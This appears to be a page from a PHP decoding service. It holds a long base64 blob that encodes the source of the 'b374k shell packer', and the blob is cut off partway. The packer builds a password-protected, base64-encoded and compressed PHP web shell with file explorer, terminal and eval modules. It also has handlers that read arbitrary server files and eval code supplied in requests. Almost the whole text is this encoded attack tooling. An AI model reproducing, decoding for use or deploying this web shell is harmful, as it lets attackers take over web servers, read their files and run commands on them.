Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
PD9waHANCi8qDQoJYjM3NGsgc2hlbGwNCglKYXlhbGFoIEluZG9uZXNpYWt1DQoJKGMpMjAxNA0KCWh0dHBzOi8vZ2..
Decoded Output download
<? PD9waHANCi8qDQoJYjM3NGsgc2hlbGwNCglKYXlhbGFoIEluZG9uZXNpYWt1DQoJKGMpMjAxNA0KCWh0dHBzOi8vZ2l0aHViLmNvbS9iMzc0ay9iMzc0aw0KDQoqLw0KJEdMT0JBTFNbJ3BhY2tlciddWyd0aXRsZSddID0gImIzNzRrIHNoZWxsIHBhY2tlciI7DQokR0xPQkFMU1sncGFja2VyJ11bJ3ZlcnNpb24nXSA9ICIwLjQuMiI7DQokR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10gPSAiLi9iYXNlLyI7DQokR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZV9kaXInXSA9ICIuL21vZHVsZS8iOw0KJEdMT0JBTFNbJ3BhY2tlciddWyd0aGVtZV9kaXInXSA9ICIuL3RoZW1lLyI7DQokR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZSddID0gcGFja2VyX2dldF9tb2R1bGUoKTsNCiRHTE9CQUxTWydwYWNrZXInXVsndGhlbWUnXSA9IHBhY2tlcl9nZXRfdGhlbWUoKTsNCg0KcmVxdWlyZSAkR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10uJ2pzUGFja2VyLnBocCc7DQoNCi8qIFBIUCBGSUxFUyBTVEFSVCAqLw0KJGJhc2VfY29kZSA9ICIiOw0KJGJhc2VfY29kZSAuPSBwYWNrZXJfcmVhZF9maWxlKCRHTE9CQUxTWydwYWNrZXInXVsnYmFzZV9kaXInXS4icmVzb3VyY2VzLnBocCIpOw0KJGJhc2VfY29kZSAuPSBwYWNrZXJfcmVhZF9maWxlKCRHTE9CQUxTWydwYWNrZXInXVsnYmFzZV9kaXInXS4ibWFpbi5waHAiKTsNCiRtb2R1bGVfY29kZSA9IHBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJiYXNlLnBocCIpOw0KLyogUEhQIEZJTEVTIEVORCAqLw0KDQovKiBKQVZBU0NSSVBUIEFORCBDU1MgRklMRVMgU1RBUlQgKi8NCiR6ZXB0b19jb2RlID0gcGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10uInplcHRvLmpzIik7DQokanNfbWFpbl9jb2RlID0gIlxuXG4iLnBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJtYWluLmpzIik7DQoNCiRqc19jb2RlID0gIlxuXG4iLnBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJzb3J0YWJsZS5qcyIpLiRqc19tYWluX2NvZGU7DQokanNfY29kZSAuPSAiXG5cbiIucGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10uImJhc2UuanMiKTsNCg0KDQppZihpc3NldCgkX0NPT0tJRVsncGFja2VyX3RoZW1lJ10pKQkkdGhlbWUgPSAkX0NPT0tJRVsncGFja2VyX3RoZW1lJ107DQplbHNlICR0aGVtZSA9ImRlZmF1bHQiOw0KJGNzc19jb2RlID0gcGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lX2RpciddLiR0aGVtZS4iLmNzcyIpOw0KDQovKiBKQVZBU0NSSVBUIEFORCBDU1MgRklMRVMgRU5EICovDQoNCi8vIGxheW91dA0KJGxheW91dCA9IHBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJsYXlvdXQucGhwIik7DQokcCA9IGFycmF5X21hcCgicmF3dXJsZGVjb2RlIiwgcGFja2VyX2dldF9wb3N0KCkpOw0KDQppZihpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkpew0KCWlmKGlzc2V0KCRwWydyZWFkX2ZpbGUnXSkpew0KCQkkZmlsZSA9ICRwWydyZWFkX2ZpbGUnXTsNCgkJaWYoaXNfZmlsZSgkZmlsZSkpew0KCQkJcGFja2VyX291dHB1dChwYWNrZXJfaHRtbF9zYWZlKHBhY2tlcl9yZWFkX2ZpbGUoJGZpbGUpKSk7DQoJCX0NCgkJcGFja2VyX291dHB1dCgnZXJyb3InKTsNCgl9DQoJZWxzZWlmKGlzc2V0KCRfR0VUWydydW4nXSkpew0KCQlpZihlbXB0eSgkX0dFVFsncnVuJ10pKSAkbW9kdWxlcyA9IGFycmF5KCk7DQoJCWVsc2UgJG1vZHVsZXMgPSBleHBsb2RlKCIsIiAsJF9HRVRbJ3J1biddKTsNCgkJJG1vZHVsZV9hcnIgPSBhcnJheV9tZXJnZShhcnJheSgiZXhwbG9yZXIiLCAidGVybWluYWwiLCAiZXZhbCIpLCAkbW9kdWxlcyk7DQoNCgkJJG1vZHVsZV9hcnIgPSBhcnJheV9tYXAoInBhY2tlcl93cmFwX3dpdGhfcXVvdGUiLCAkbW9kdWxlX2Fycik7DQoJCSRtb2R1bGVfaW5pdCA9ICJcblwkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSA9IGFycmF5KCIuaW1wbG9kZSgiLCAiLCAkbW9kdWxlX2FycikuIik7IjsNCg0KCQlmb3JlYWNoKCRtb2R1bGVzIGFzICRtb2R1bGUpew0KCQkJJG1vZHVsZSA9IHRyaW0oJG1vZHVsZSk7DQoJCQkkZmlsZW5hbWUgPSAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZV9kaXInXS4kbW9kdWxlOw0KCQkJaWYoaXNfZmlsZSgkZmlsZW5hbWUuIi5waHAiKSkgJG1vZHVsZV9jb2RlIC49IHBhY2tlcl9yZWFkX2ZpbGUoJGZpbGVuYW1lLiIucGhwIik7DQoJCQlpZihpc19maWxlKCRmaWxlbmFtZS4iLmpzIikpICRqc19jb2RlIC49ICJcbiIucGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5qcyIpLiJcbiI7DQoNCgkJfQ0KDQoJCSRsYXlvdXQgPSBzdHJfcmVwbGFjZSgiPF9fQ1NTX18+IiwgJGNzc19jb2RlLCAkbGF5b3V0KTsNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19aRVBUT19fPiIsICR6ZXB0b19jb2RlLCAkbGF5b3V0KTsNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19KU19fPiIsICRqc19jb2RlLCAkbGF5b3V0KTsNCg0KCQkkY29udGVudCA9IHRyaW0oJG1vZHVsZV9pbml0KS4iPz4iLiRiYXNlX2NvZGUuJG1vZHVsZV9jb2RlLiRsYXlvdXQ7DQoJCWV2YWwoJGNvbnRlbnQpOw0KCQlkaWUoKTsNCgl9DQoJZWxzZWlmKGlzc2V0KCRwWydvdXRwdXRmaWxlJ10pJiZpc3NldCgkcFsncGFzc3dvcmQnXSkmJmlzc2V0KCRwWydtb2R1bGUnXSkmJmlzc2V0KCRwWydzdHJpcCddKSYmaXNzZXQoJHBbJ2Jhc2U2NCddKSYmaXNzZXQoJHBbJ2NvbXByZXNzJ10pJiZpc3NldCgkcFsnY29tcHJlc3NfbGV2ZWwnXSkpew0KCQkkb3V0cHV0ZmlsZSA9IHRyaW0oJHBbJ291dHB1dGZpbGUnXSk7DQoJCWlmKGVtcHR5KCRvdXRwdXRmaWxlKSkgJG91dHB1dGZpbGUgPSAnYjM3NGsucGhwJzsNCgkJJHBhc3N3b3JkID0gdHJpbSgkcFsncGFzc3dvcmQnXSk7DQoJCSRtb2R1bGVzID0gdHJpbSgkcFsnbW9kdWxlJ10pOw0KCQlpZihlbXB0eSgkbW9kdWxlcykpICRtb2R1bGVzID0gYXJyYXkoKTsNCgkJZWxzZSAkbW9kdWxlcyA9IGV4cGxvZGUoIiwiICwkbW9kdWxlcyk7DQoNCgkJJHN0cmlwID0gdHJpbSgkcFsnc3RyaXAnXSk7DQoJCSRiYXNlNjQgPSB0cmltKCRwWydiYXNlNjQnXSk7DQoJCSRjb21wcmVzcyA9IHRyaW0oJHBbJ2NvbXByZXNzJ10pOw0KCQkkY29tcHJlc3NfbGV2ZWwgPSAoaW50KSAkcFsnY29tcHJlc3NfbGV2ZWwnXTsNCg0KCQkkbW9kdWxlX2FyciA9IGFycmF5X21lcmdlKGFycmF5KCJleHBsb3JlciIsICJ0ZXJtaW5hbCIsICJldmFsIiksICRtb2R1bGVzKTsNCg0KCQkkbW9kdWxlX2FyciA9IGFycmF5X21hcCgicGFja2VyX3dyYXBfd2l0aF9xdW90ZSIsICRtb2R1bGVfYXJyKTsNCgkJJG1vZHVsZV9pbml0ID0gIlxuXCRHTE9CQUxTWydtb2R1bGVfdG9fbG9hZCddID0gYXJyYXkoIi5pbXBsb2RlKCIsICIsICRtb2R1bGVfYXJyKS4iKTsiOw0KDQoJCWZvcmVhY2goJG1vZHVsZXMgYXMgJG1vZHVsZSl7DQoJCQkkbW9kdWxlID0gdHJpbSgkbW9kdWxlKTsNCgkJCSRmaWxlbmFtZSA9ICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlX2RpciddLiRtb2R1bGU7DQoJCQlpZihpc19maWxlKCRmaWxlbmFtZS4iLnBocCIpKSAkbW9kdWxlX2NvZGUgLj0gcGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5waHAiKTsNCgkJCWlmKGlzX2ZpbGUoJGZpbGVuYW1lLiIuanMiKSkgJGpzX2NvZGUgLj0gIlxuIi5wYWNrZXJfcmVhZF9maWxlKCRmaWxlbmFtZS4iLmpzIikuIlxuIjsNCg0KCQl9DQoNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19DU1NfXz4iLCAkY3NzX2NvZGUsICRsYXlvdXQpOw0KCQkkbGF5b3V0ID0gc3RyX3JlcGxhY2UoIjxfX1pFUFRPX18+IiwgJHplcHRvX2NvZGUsICRsYXlvdXQpOw0KCQkNCgkJaWYoJHN0cmlwPT0neWVzJykgJGpzX2NvZGUgPSBwYWNrZXJfcGFja19qcygkanNfY29kZSk7DQoJCSRsYXlvdXQgPSBzdHJfcmVwbGFjZSgiPF9fSlNfXz4iLCAkanNfY29kZSwgJGxheW91dCk7DQoNCg0KCQkkaHRtbGNvZGUgPSB0cmltKCRsYXlvdXQpOw0KCQkkcGhwY29kZSA9ICI8P3BocCAiLnRyaW0oJG1vZHVsZV9pbml0KS4iPz4iLnRyaW0oJGJhc2VfY29kZSkudHJpbSgkbW9kdWxlX2NvZGUpOw0KDQoJCXBhY2tlcl9vdXRwdXQocGFja2VyX2IzNzRrKCRvdXRwdXRmaWxlLCAkcGhwY29kZSwgJGh0bWxjb2RlLCAkc3RyaXAsICRiYXNlNjQsICRjb21wcmVzcywgJGNvbXByZXNzX2xldmVsLCAkcGFzc3dvcmQpKTsNCgl9DQoJZWxzZXsNCgkNCgkkYXZhaWxhYmxlX3RoZW1lcyA9ICI8dHI+PHRkPlRoZW1lPC90ZD48dGQ+PHNlbGVjdCBjbGFzcz0ndGhlbWUnIHN0eWxlPSd3aWR0aDoxNTBweDsnPiI7DQoJZm9yZWFjaCgkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lJ10gYXMgJGspew0KCQlpZigkaz09JHRoZW1lKSAkYXZhaWxhYmxlX3RoZW1lcyAuPSAiPG9wdGlvbiBzZWxlY3RlZD0nc2VsZWN0ZWQnPiIuJGsuIjwvb3B0aW9uPiI7DQoJCWVsc2UgJGF2YWlsYWJsZV90aGVtZXMgLj0gIjxvcHRpb24+Ii4kay4iPC9vcHRpb24+IjsNCgl9DQoJJGF2YWlsYWJsZV90aGVtZXMgLj0gIjwvc2VsZWN0PjwvdGQ+PC90cj4iOw0KDQoJPz48IWRvY3R5cGUgaHRtbD4NCgk8aHRtbD4NCgk8aGVhZD4NCgk8dGl0bGU+PD9waHAgZWNobyAkR0xPQkFMU1sncGFja2VyJ11bJ3RpdGxlJ10uIiAiLiRHTE9CQUxTWydwYWNrZXInXVsndmVyc2lvbiddOz8+PC90aXRsZT4NCgk8bWV0YSBjaGFyc2V0PSd1dGYtOCc+DQoJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlJz4NCgk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KCTw/cGhwIGVjaG8gJGNzc19jb2RlOz8+DQoJI2RldlRpdGxlew0KCQlmb250LXNpemU6MThweDsNCgkJdGV4dC1hbGlnbjpjZW50ZXI7DQoJCWZvbnQtd2VpZ2h0OmJvbGQ7DQoJfQ0KCTwvc3R5bGU+DQoJPC9oZWFkPg0KCTxib2R5Pg0KDQoJPGRpdiBpZD0nd3JhcHBlcicgc3R5bGU9J3BhZGRpbmc6MTJweCc+DQoJCTxkaXYgaWQ9J2RldlRpdGxlJyBjbGFzcz0nYm9yZGVyJz48P3BocCBlY2hvICRHTE9CQUxTWydwYWNrZXInXVsndGl0bGUnXS4iICIuJEdMT0JBTFNbJ3BhY2tlciddWyd2ZXJzaW9uJ107Pz48L2Rpdj4NCgkJPGJyPg0KCQk8dGFibGUgY2xhc3M9J2JveHRibCc+DQoJCQk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+UXVpY2sgUnVuPC9wPjwvdGg+PC90cj4NCgkJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjIyMHB4Oyc+TW9kdWxlIChzZXBhcmF0ZWQgYnkgY29tbWEpPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdtb2R1bGUnIHZhbHVlPSc8P3BocCBlY2hvIGltcGxvZGUoIiwiLCAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZSddKTs/Pic+PC90ZD48L3RyPg0KCQkJPD9waHAgZWNobyAkYXZhaWxhYmxlX3RoZW1lczsgPz4NCgkJCTx0cj48dGQgY29sc3Bhbj0nMic+DQoJCQkJPGZvcm0gbWV0aG9kPSdnZXQnIGlkPSdydW5Gb3JtJyB0YXJnZXQ9J19ibGFuayc+PGlucHV0IHR5cGU9J2hpZGRlbicgaWQ9J21vZHVsZV90b19ydW4nIG5hbWU9J3J1bicgdmFsdWU9Jyc+DQoJCQkJPHNwYW4gY2xhc3M9J2J1dHRvbicgaWQ9J3J1bkdvJz5SdW48L3NwYW4+DQoJCQkJPC9mb3JtPg0KCQkJPC90ZD48L3RyPg0KCQk8L3RhYmxlPg0KCQk8YnI+DQoJCTx0YWJsZSBjbGFzcz0nYm94dGJsJz4NCgkJCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5QYWNrPC9wPjwvdGg+PC90cj4NCgkJCTx0cj48dGQgc3R5bGU9J3dpZHRoOjIyMHB4Oyc+T3V0cHV0PC90ZD48dGQ+PGlucHV0IGlkPSdvdXRwdXRmaWxlJyB0eXBlPSd0ZXh0JyB2YWx1ZT0nYjM3NGsucGhwJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IGlkPSdwYXNzd29yZCcgdHlwZT0ndGV4dCcgdmFsdWU9J2IzNzRrJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk1vZHVsZSAoc2VwYXJhdGVkIGJ5IGNvbW1hKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbW9kdWxlX3RvX3BhY2snIHZhbHVlPSc8P3BocCBlY2hvIGltcGxvZGUoIiwiLCAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZSddKTs/Pic+PC90ZD48L3RyPg0KCQkJPD9waHAgZWNobyAkYXZhaWxhYmxlX3RoZW1lczsgPz4NCgkJCTx0cj48dGQ+U3RyaXAgQ29tbWVudHMgYW5kIFdoaXRlc3BhY2VzPC90ZD48dGQ+DQoJCQkJPHNlbGVjdCBpZD0nc3RyaXAnIHN0eWxlPSd3aWR0aDoxNTBweDsnPg0KCQkJCQk8b3B0aW9uIHNlbGVjdGVkPSJzZWxlY3RlZCI+eWVzPC9vcHRpb24+DQoJCQkJCTxvcHRpb24+bm88L29wdGlvbj4NCgkJCQk8L3NlbGVjdD4NCgkJCTwvdGQ+PC90cj4NCg0KCQkJPHRyPjx0ZD5CYXNlNjQgRW5jb2RlPC90ZD48dGQ+DQoJCQkJPHNlbGVjdCBpZD0nYmFzZTY0JyBzdHlsZT0nd2lkdGg6MTUwcHg7Jz4NCgkJCQkJPG9wdGlvbiBzZWxlY3RlZD0ic2VsZWN0ZWQiPnllczwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPm5vPC9vcHRpb24+DQoJCQkJPC9zZWxlY3Q+DQoJCQk8L3RkPjwvdHI+DQoNCgkJCTx0ciBpZD0nY29tcHJlc3Nfcm93Jz48dGQ+Q29tcHJlc3M8L3RkPjx0ZD4NCgkJCQk8c2VsZWN0IGlkPSdjb21wcmVzcycgc3R5bGU9J3dpZHRoOjE1MHB4Oyc+DQoJCQkJCTxvcHRpb24+bm88L29wdGlvbj4NCgkJCQkJPG9wdGlvbiBzZWxlY3RlZD0ic2VsZWN0ZWQiPmd6ZGVmbGF0ZTwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPmd6ZW5jb2RlPC9vcHRpb24+DQoJCQkJCTxvcHRpb24+Z3pjb21wcmVzczwvb3B0aW9uPg0KCQkJCTwvc2VsZWN0Pg0KCQkJCTxzZWxlY3QgaWQ9J2NvbXByZXNzX2xldmVsJyBzdHlsZT0nd2lkdGg6MTUwcHg7Jz4NCgkJCQkJPG9wdGlvbj4xPC9vcHRpb24+DQoJCQkJCTxvcHRpb24+Mjwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPjM8L29wdGlvbj4NCgkJCQkJPG9wdGlvbj40PC9vcHRpb24+DQoJCQkJCTxvcHRpb24+NTwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uPjY8L29wdGlvbj4NCgkJCQkJPG9wdGlvbj43PC9vcHRpb24+DQoJCQkJCTxvcHRpb24+ODwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHNlbGVjdGVkPSJzZWxlY3RlZCI+OTwvb3B0aW9uPg0KCQkJCTwvc2VsZWN0Pg0KCQkJPC90ZD48L3RyPg0KDQoJCQk8dHI+PHRkIGNvbHNwYW49JzInPg0KCQkJCTxzcGFuIGNsYXNzPSdidXR0b24nIGlkPSdwYWNrR28nPlBhY2s8L3NwYW4+DQoJCQk8L3RkPjwvdHI+DQoJCQk8dHI+PHRkIGNvbHNwYW49JzInIGlkPSdyZXN1bHQnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdyZXN1bHRDb250ZW50Jz48L3RleHRhcmVhPjwvdGQ+PC90cj4NCgkJPC90YWJsZT4NCgk8L2Rpdj4NCg0KCTxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4NCgl2YXIgaW5pdF9zaGVsbCA9IGZhbHNlOw0KCTw/cGhwIGVjaG8gJHplcHRvX2NvZGU7Pz4NCgk8P3BocCBlY2hvICRqc19tYWluX2NvZGU7Pz4NCg0KCXZhciB0YXJnZXR1cmwgPSAnPD9waHAgZWNobyBwYWNrZXJfZ2V0X3NlbGYoKTsgPz4nOw0KCXZhciBkZWJ1ZyA9IGZhbHNlOw0KDQoJWmVwdG8oZnVuY3Rpb24oJCl7DQoJCXJlZnJlc2hfcm93KCk7DQoNCgkJJCgnI3J1bkdvJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7DQoJCQltb2R1bGUgPSAkKCcjbW9kdWxlJykudmFsKCk7DQoJCQkkKCcjbW9kdWxlX3RvX3J1bicpLnZhbChtb2R1bGUpOw0KCQkJJCgnI3J1bkZvcm0nKS5zdWJtaXQoKTsNCgkJfSk7DQoNCgkJJCgnI2Jhc2U2NCcpLm9uKCdjaGFuZ2UnLCBmdW5jdGlvbihlKXsNCgkJCXJlZnJlc2hfcm93KCk7DQoJCX0pOw0KDQoJCSQoJyNwYWNrR28nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsNCgkJCW91dHB1dGZpbGUgPSAkKCcjb3V0cHV0ZmlsZScpLnZhbCgpOw0KCQkJcGFzc3dvcmQgPSAkKCcjcGFzc3dvcmQnKS52YWwoKTsNCgkJCW1vZHVsZSA9ICQoJyNtb2R1bGVfdG9fcGFjaycpLnZhbCgpOw0KCQkJc3RyaXAgPSAkKCcjc3RyaXAnKS52YWwoKTsNCgkJCWJhc2U2NCA9ICQoJyNiYXNlNjQnKS52YWwoKTsNCgkJCWNvbXByZXNzID0gJCgnI2NvbXByZXNzJykudmFsKCk7DQoJCQljb21wcmVzc19sZXZlbCA9ICQoJyNjb21wcmVzc19sZXZlbCcpLnZhbCgpOw0KDQoJCQlzZW5kX3Bvc3Qoe291dHB1dGZpbGU6b3V0cHV0ZmlsZSwgcGFzc3dvcmQ6cGFzc3dvcmQsIG1vZHVsZTptb2R1bGUsIHN0cmlwOnN0cmlwLCBiYXNlNjQ6YmFzZTY0LCBjb21wcmVzczpjb21wcmVzcywgY29tcHJlc3NfbGV2ZWw6Y29tcHJlc3NfbGV2ZWx9LCBmdW5jdGlvbihyZXMpew0KCQkJCXNwbGl0cyA9IHJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTsNCgkJCQkkKCcjcmVzdWx0Q29udGVudCcpLmh0bWwoc3BsaXRzWzFdKTsNCgkJCQkkKCcjcmVzdWx0JykuaHRtbChzcGxpdHNbMF0pOw0KCQkJfSk7DQoNCgkJfSk7DQoJCQ0KCQkkKCcudGhlbWUnKS5vbignY2hhbmdlJywgZnVuY3Rpb24oZSl7DQoJCQkkKCcudGhlbWUnKS52YWwoJCh0aGlzKS52YWwoKSk7DQoJCQlzZXRfY29va2llKCdwYWNrZXJfdGhlbWUnLCAkKCcudGhlbWUnKS52YWwoKSk7DQoJCQlsb2NhdGlvbi5ocmVmID0gdGFyZ2V0dXJsOw0KCQl9KTsNCgl9KTsNCg0KCWZ1bmN0aW9uIHJlZnJlc2hfcm93KCl7DQoJCWJhc2U2NCA9ICQoJyNiYXNlNjQnKS52YWwoKTsNCgkJaWYoYmFzZTY0PT0neWVzJyl7DQoJCQkkKCcjY29tcHJlc3Nfcm93Jykuc2hvdygpOw0KCQl9DQoJCWVsc2V7DQoJCQkkKCcjY29tcHJlc3Nfcm93JykuaGlkZSgpOw0KCQkJJCgnI2NvbXByZXNzJykudmFsKCdubycpOw0KCQl9DQoJfQ0KDQoJPC9zY3JpcHQ+DQoJPC9ib2R5Pg0KCTwvaHRtbD48P3BocA0KCX0NCn0NCmVsc2V7DQoJJG91dHB1dCA9ICRHTE9CQUxTWydwYWNrZXInXVsndGl0bGUnXS4iICIuJEdMT0JBTFNbJ3BhY2tlciddWyd2ZXJzaW9uJ10uIlxuXG4iOw0KDQoJaWYoY291bnQoJGFyZ3YpPD0xKXsNCgkJJG91dHB1dCAuPSAib3B0aW9ucyA6XG4iOw0KCQkkb3V0cHV0IC49ICJcdC1vIGZpbGVuYW1lXHRcdFx0XHRzYXZlIGFzIGZpbGVuYW1lXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1wIHBhc3N3b3JkXHRcdFx0XHRwcm90ZWN0IHdpdGggcGFzc3dvcmRcbiI7DQoJCSRvdXRwdXQgLj0gIlx0LXQgdGhlbWVcdFx0XHRcdHRoZW1lIHRvIHVzZVxuIjsNCgkJJG91dHB1dCAuPSAiXHQtbSBtb2R1bGVzXHRcdFx0XHRtb2R1bGVzIHRvIHBhY2sgc2VwYXJhdGVkIGJ5IGNvbW1hXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1zXHRcdFx0XHRcdHN0cmlwIGNvbW1lbnRzIGFuZCB3aGl0ZXNwYWNlc1xuIjsNCgkJJG91dHB1dCAuPSAiXHQtYlx0XHRcdFx0XHRlbmNvZGUgd2l0aCBiYXNlNjRcbiI7DQoJCSRvdXRwdXQgLj0gIlx0LXogW25vfGd6ZGVmbGF0ZXxnemVuY29kZXxnemNvbXByZXNzXVx0Y29tcHJlc3Npb24gKHVzZSBvbmx5IHdpdGggLWIpXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1jIFswLTldXHRcdFx0XHRsZXZlbCBvZiBjb21wcmVzc2lvblxuIjsNCgkJJG91dHB1dCAuPSAiXHQtbFx0XHRcdFx0XHRsaXN0IGF2YWlsYWJsZSBtb2R1bGVzXG4iOw0KCQkkb3V0cHV0IC49ICJcdC1rXHRcdFx0XHRcdGxpc3QgYXZhaWxhYmxlIHRoZW1lc1xuIjsNCg0KCX0NCgllbHNlew0KCQkkb3B0ID0gZ2V0b3B0KCJvOnA6dDptOnNiejpjOmxrIik7DQoNCgkJaWYoaXNzZXQoJG9wdFsnbCddKSl7DQoJCQkkb3V0cHV0IC49ICJhdmFpbGFibGUgbW9kdWxlcyA6ICIuaW1wbG9kZSgiLCIsICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlJ10pLiJcblxuIjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJCWRpZSgpOw0KCQl9DQoJCQ0KCQlpZihpc3NldCgkb3B0WydrJ10pKXsNCgkJCSRvdXRwdXQgLj0gImF2YWlsYWJsZSB0aGVtZXMgOiAiLmltcGxvZGUoIiwiLCAkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lJ10pLiJcblxuIjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJCWRpZSgpOw0KCQl9DQoNCgkJaWYoaXNzZXQoJG9wdFsnbyddKSYmKHRyaW0oJG9wdFsnbyddKSE9JycpKXsNCgkJCSRvdXRwdXRmaWxlID0gdHJpbSgkb3B0WydvJ10pOw0KCQl9DQoJCWVsc2V7DQoJCQkkb3V0cHV0IC49ICJlcnJvciA6IG5vIGZpbGVuYW1lIGdpdmVuICh1c2UgLW8gZmlsZW5hbWUpXG5cbiI7DQoJCQllY2hvICRvdXRwdXQ7DQoJCQlkaWUoKTsNCgkJfQ0KDQoJCSRwYXNzd29yZCA9IGlzc2V0KCRvcHRbJ3AnXSk/IHRyaW0oJG9wdFsncCddKToiIjsNCgkJJHRoZW1lID0gaXNzZXQoJG9wdFsndCddKT8gdHJpbSgkb3B0Wyd0J10pOiJkZWZhdWx0IjsNCgkJaWYoIWluX2FycmF5KCR0aGVtZSwgJEdMT0JBTFNbJ3BhY2tlciddWyd0aGVtZSddKSl7DQoJCQkkb3V0cHV0IC49ICJlcnJvciA6IHVua25vd24gdGhlbWUgZmlsZVxuXG4iOw0KCQkJZWNobyAkb3V0cHV0Ow0KCQkJZGllKCk7DQoJCX0NCgkJJGNzc19jb2RlID0gcGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lX2RpciddLiR0aGVtZS4iLmNzcyIpOw0KCQkNCgkJJG1vZHVsZXMgPSBpc3NldCgkb3B0WydtJ10pPyB0cmltKCRvcHRbJ20nXSk6aW1wbG9kZSgiLCIsICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlJ10pOw0KCQlpZihlbXB0eSgkbW9kdWxlcykpICRtb2R1bGVzID0gYXJyYXkoKTsNCgkJZWxzZSAkbW9kdWxlcyA9IGV4cGxvZGUoIiwiICwkbW9kdWxlcyk7DQoNCgkJJHN0cmlwID0gaXNzZXQoJG9wdFsncyddKT8gInllcyI6Im5vIjsNCgkJJGJhc2U2NCA9IGlzc2V0KCRvcHRbJ2InXSk/ICJ5ZXMiOiJubyI7DQoNCgkJJGNvbXByZXNzID0gaXNzZXQoJG9wdFsneiddKT8gdHJpbSgkb3B0Wyd6J10pOiJubyI7DQoJCWlmKCgkY29tcHJlc3MhPSdnemRlZmxhdGUnKSYmKCRjb21wcmVzcyE9J2d6ZW5jb2RlJykmJigkY29tcHJlc3MhPSdnemNvbXByZXNzJykmJigkY29tcHJlc3MhPSdubycpKXsNCgkJCSRvdXRwdXQgLj0gImVycm9yIDogdW5rbm93biBvcHRpb25zIC16ICIuJGNvbXByZXNzLiJcblxuIjsNCgkJCWVjaG8gJG91dHB1dDsNCgkJCWRpZSgpOw0KCQl9DQoJCWVsc2V7DQoJCQlpZigoJGJhc2U2ND09J25vJykmJigkY29tcHJlc3MhPSdubycpKXsNCgkJCQkkb3V0cHV0IC49ICJlcnJvciA6IHVzZSAteiBvcHRpb25zIG9ubHkgd2l0aCAtYlxuXG4iOw0KCQkJCWVjaG8gJG91dHB1dDsNCgkJCQlkaWUoKTsNCgkJCX0NCgkJfQ0KDQoJCSRjb21wcmVzc19sZXZlbCA9IGlzc2V0KCRvcHRbJ2MnXSk/IHRyaW0oJG9wdFsnYyddKToiIjsNCgkJaWYoZW1wdHkoJGNvbXByZXNzX2xldmVsKSkgJGNvbXByZXNzX2xldmVsID0gJzknOw0KCQlpZighcHJlZ19tYXRjaCgiL15bMC05XXsxfSQvIiwgJGNvbXByZXNzX2xldmVsKSl7DQoJCQkkb3V0cHV0IC49ICJlcnJvciA6IHVua25vd24gb3B0aW9ucyAtYyAiLiRjb21wcmVzc19sZXZlbC4iICh1c2Ugb25seSAwLTkpXG5cbiI7DQoJCQllY2hvICRvdXRwdXQ7DQoJCQlkaWUoKTsNCgkJfQ0KCQkkY29tcHJlc3NfbGV2ZWwgPSAoaW50KSAkY29tcHJlc3NfbGV2ZWw7DQo